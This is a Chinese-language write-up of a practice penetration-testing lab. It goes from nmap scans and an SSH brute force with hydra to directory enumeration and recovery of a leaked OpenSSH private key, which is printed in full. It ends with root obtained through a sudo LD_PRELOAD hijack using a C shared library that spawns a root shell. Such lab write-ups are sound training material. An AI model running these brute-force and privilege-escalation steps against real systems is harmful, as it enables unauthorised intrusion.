前言：

作为自己的专项练习，力求培养渗透思维，熟悉工具使用，愿与诸君共勉之

信息收集

探测目标ip
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
Nmap scan report for 192.168.56.101
Host is up (0.00028s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

针对192.168.56.101做更加详细的信息枚举
nmap -sT -sV -sC -A -p22,80 192.168.56.101
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 b66556408da857b9151e0e1fa5d0523a (RSA)
|   256 7965cb2a068213d3766b1c55cd8f07b7 (ECDSA)
|_  256 b134e521a02830c06c010eb07b8fb8c6 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: LOGIN
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

发现两个服务，SSH,HTTP

SSH服务渗透

爆破

hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101 -t 4

爆破无果，转头进攻http服务

HTTP服务渗透

"老三套"，爆目录，爆子域名(这里没有绑定)，web应用程序探测(中间件探测)

目录爆破

dirsearch -u http://192.168.56.101/
[10:30:49] 200 -    9KB - /a                                                
[10:30:54] 200 -   21B  - /check.php                                        
[10:30:57] 200 -  407B  - /index.php                                        
[10:30:59] 302 -    0B  - /login.php  ->  index.php                         
[10:31:08] 200 -    1B  - /xml

web应用程序探测(中间件探测)

whatweb http://192.168.56.101                    
http://192.168.56.101 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.14.2], IP[192.168.56.101], PasswordField[password], Title[LOGIN], nginx[1.14.2]

敏感目录

/a 可以下载的文件
/check.php 对login.php提交的参数进行处理的东东
/login.php 一个登录页面
/xml 也是是个文件

都点进去看看

sql注入(失败)

将请求包保存用sqlmap跑一下

sqlmap --random-agent -r sql --batch

额，一次失败的尝试

私钥泄露(突破口)

我利用/a这个文件进行模糊测试发现192.168.56.101/的下级目录返回码都是200，且有值

所以我现在可以将其数据提出(这里偷个懒，写个一句话bash)

for i in $(cat url); do curl "http://192.168.56.101/$i" >> curl.output; done
这个for将循环每个单词，利用curl发出请求，将返回数据追加到文件中

不偷懒的话写python脚本叭

import requests
result = ""
with open("curl") as fa:
    lines = fa.readlines()
    total = len(lines)
    count = 0
    for line in lines:
        url = f"http://192.168.56.101/{line.strip()}"        
        r = requests.get(url)
        r.encoding = 'utf-8'
        result += r.text
        count += 1
        print(f"Now getting:{count}/{total}",end="\r")
with open("curl.output","w") as fk:
    fk.write(result)
print("\nAll done!")

cat curl.output
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA5xagxLiN5ObhPjNcs2I2ckcYrErKaunOwm40kTBnJ6vrbdRYHteS
afNWC6xFFzwO77+Kze229eK4ddZcwmU0IdN02Y8nYrxhl8lOc+e5T0Ajz+tRmLGoxJVPsS
TzKBERlWpKuJoGO/CEFLOv6PP6s79YYzZFpdUjaczY96jgICftzNZS+VkBXuLjKr79h4Tw
z7BK4V6FEQY0hwT8NFfNrF3x3VPe0UstdiUJFl4QV/qAPlHVhPd0YUEPr/95mryjuGi1xw
P7xVFrYyjLfPepqYHiS5LZxFewLWhhSjBOI0dzf/TwiNRnVGTZhB3GemgEIQRAam26jkZZ
3BxkrUVckQAAA8jfk7Jp35OyaQAAAAdzc2gtcnNhAAABAQDnFqDEuI3k5uE+M1yzYjZyRx
isSspq6c7CbjSRMGcnq+tt1Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQh03TZjydi
vGGXyU5z57lPQCPP61GYsajElU+xJPMoERGVakq4mgY78IQUs6/o8/qzv1hjNkWl1SNpzN
j3qOAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0V82sXfHdU97RSy12JQkWXhBX
+oA+UdWE93RhQQ+v/3mavKO4aLXHA/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N/9P
CI1GdUZNmEHcZ6aAQhBEBqbbqORlncHGStRVyRAAAAAwEAAQAAAQEAvdjwMU1xfTlUmPY3
VUP9ePsBwSIck6ML8t35H8KFLKln3C4USxpNNe/so+BeTo1PtBVHYpDFu9IMOvrl7+qW3q
dLGyUpdUtQXhPK+RvJONt30GwB+BEUlpQYCW9SuHr1WCwfwPMA5iNdT2ijvx0ZvKwZYECJ
DYlB87yQDz7VCnRTiQGP2Mqiiwb7vPd/t386Y+cAz1cVl7BnHzWWJTUTkKCwijnvjYrD0o
tTQX4sGd6CrI44g+L8hnYuCZz+a0j6IyUfXJqj6l+/Z2Af7pJjbJD3P28xX7eY0h1Cec2l
/sb7qg2wy0qJNywJ35l8bZzZKjkXztPLOqMFQ6Fh0BqSdQAAAIEAlaH0ZEzJsZoR3QqcKl
xRKjVcuQCwcrKlNbJu2qRuUG812CLb9jJxJxacJPBV0NS832c+hZ3BiLtA5FwCiGlGq5m5
HS3odf3lLXDfIK+pur4OWKBNLDxKbqi4s4M05vR4gHkmotiH9eWlCNuqL46Ip5H1vFXeJM
pLRLN0gqOGuQQAAACBAPfffuhidAgUZH/yTvATKC5lcGrE7bkpOq+6XMMgxEQl0Hzry76i
rGXkhTY4QUtthYo4+g7jiDzKlbeaS7aN8RYq38GzQnZZQcSdvL1yB/N554gQvzJLvmKQbm
gLhMRcdDmifUelJYXib2Mjg/BLaRXaEzOomUKR2nyJH7VgU+xzAAAAgQDuqkBp44indqhx
wrzbfeLnzQqpZ/rMZXGcvJUttECRbLRfohUftFE5J0PKuT8w0dpacNCVgkT9A0Tc3xRfky
ECBQjeKLvdhcufJhQl0pdXDt1cpebE50LE4yHc8vR6FEjhR4P2AbGICJyRS7AX7UnrOWdU
IE3FeNP0r5UiSDq16wAAAA1pY2FydXNAaWNhcnVzAQIDBA==
-----END OPENSSH PRIVATE KEY-----

但是我们并不知道ssh登录的用户名

没关系我们有ssh-keygen可以进行分析

ssh-keygen -y -f id_rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnFqDEuI3k5uE+M1yzYjZyRxisSspq6c7CbjSRMGcnq+tt1Fge15Jp81YLrEUXPA7vv4rN7bb14rh11lzCZTQh03TZjydivGGXyU5z57lPQCPP61GYsajElU+xJPMoERGVakq4mgY78IQUs6/o8/qzv1hjNkWl1SNpzNj3qOAgJ+3M1lL5WQFe4uMqvv2HhPDPsErhXoURBjSHBPw0V82sXfHdU97RSy12JQkWXhBX+oA+UdWE93RhQQ+v/3mavKO4aLXHA/vFUWtjKMt896mpgeJLktnEV7AtaGFKME4jR3N/9PCI1GdUZNmEHcZ6aAQhBEBqbbqORlncHGStRVyR icarus@icarus

SSH登录即可拿到user权限的flag

权限提升

刚开始发现一个flag.sh文件以为有用，但是尝试一段时间后没结果我就安常规的提权思路走了

LD_PRELOAD劫持变量提权

执行sudo -l发现env_keep+=LD_PRELOAD,和/usr/bin/id这个可执行文件

创建一个 C 脚本并将该脚本设为共享库(到/tmp目录中进行读写操作)

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
        unsetenv("LD_PRELOAD");
        setgid(0);
        setuid(0);
        system("/bin/bash");
}
编译成.so共享库文件
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

sudo LD_PRELOAD=/tmp/shell.so id

读取root权限的flag即可

参考文章

https://www.cnblogs.com/backlion/p/10503985.html